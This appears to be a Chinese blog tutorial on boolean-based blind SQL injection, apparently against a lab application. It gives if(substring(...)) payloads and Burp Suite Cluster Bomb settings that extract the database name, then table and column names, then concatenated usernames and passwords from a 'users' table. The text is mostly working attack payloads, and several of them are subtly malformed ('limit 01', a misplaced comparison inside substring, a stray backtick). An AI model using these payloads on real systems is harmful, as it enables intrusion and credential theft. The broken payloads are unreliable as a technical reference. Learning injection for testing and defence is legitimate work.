SQL注入布尔盲注

1、判断注入
输入1’ and ‘1’=‘1 和 1’ and ‘1’='2(1 and 1=1 1 and 1=2) 返回页面不一样,只返回正确与错误的页面

2、select if(1=1,1,0) 返回正确页面
select if(1=2,1,0)返回错误页面
例如

select * from 'users' where 'user_id' =1 and if( 1=1,1,0)

if(条件,值1,值2),如果条件成立。返回值1,不成立返回值2

3、length(database())这个函数查询数据库名长度
例如

if(length(database())<5,1,0)

判断长度是否小于5,返回正确的页面则是小于5

4、substring(‘string’,n,1) 这个函数截取字符串的第个字符,可以用来截取数据库的所有字符
例如
substring(database()=‘a’,n,1`)
a和n为变量

select * from 'users' where 'user_id' =1 and if((database()='a',n,1),1,0)

利用burpsuite抓包,选择Cluster Bomb模式
将n设置为变量,payload1 选择为数字,设置为从1到4,依次增加1
将a设置成变量,paylload2 导入数字,字母字典,再添加_ @ .三个符号
攻击得出库名

5、获取表名
例如

if(substring((select table_name from information_schema.tables where table_schema =database() limit 01),n,1)='a',1,0)

用brupsuite抓包
n为第一个变量,payload1 设置成数字,1到40,依次递增1
(ps:40是表名的长度,一般不会这么长,可以设置成20或更小)
a为第二个变量,payload2导入数字,字母字典,再添加_ @ .三个符号
攻击得出表名
(如果要获取多个表,将limit后的0设置成变量,payload 设置成数字从0到n,依次递增1)
n为你想要查到的第n+1个表,如n为1则是第二个表,且此时有三个payload,顺序时从左往右的变量一一对应相应的payload

6、根据得到表名得出表内字段
例如

if(substring((select column_name from information_schema.columns where table_name ='表名' and table_schema=database() limit 0,1),n,1)='a',1,0)

用burpsuite抓包
n为第一个变量,payload1设置成数字,1到40,依次递增1
a为第二个变量,payload2导入数字,字母字典。再添加_ @ .三个符号
攻击得出字段名
(如果要获取多个字段,将limit后的0设置成变量,payload 设置成数字从0到n,依次递增1)
n为你想要查到的第n+1个字段,如n为1则是第二个字段,且此时有三个payload,顺序时从左往右的变量一一对应相应的payload
如图在这里插入图片描述
在这里插入图片描述

7、得到表内字段有用户名和密码,查询表内的账号密码
例如

if(substring((select concat(user,0x3a,password) from users limit 0,1),n,1)='a',1,0)

用burpsuite抓包
n为第一个变量,为密码长度,一般不会大于100,payload1设置成数字,从1到100,依次递增1
a为第二个变量,payload2 导入数字,字母字典,再添加@ _ . : 四个符号,因为前面的代码里0x3a代表冒号,用来隔开账号和密码。
攻击得出第一个账号和密码
(如果想得出第n个账号和密码,将limit后的0改成n-1,例如第三个账号和密码为 limit 2)

8、得出结果,提交测试
在这里插入图片描述

ps:一定要注意中间有没有少了个逗号,或者最后注释l两个减号的后面有一个空格或者+号

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值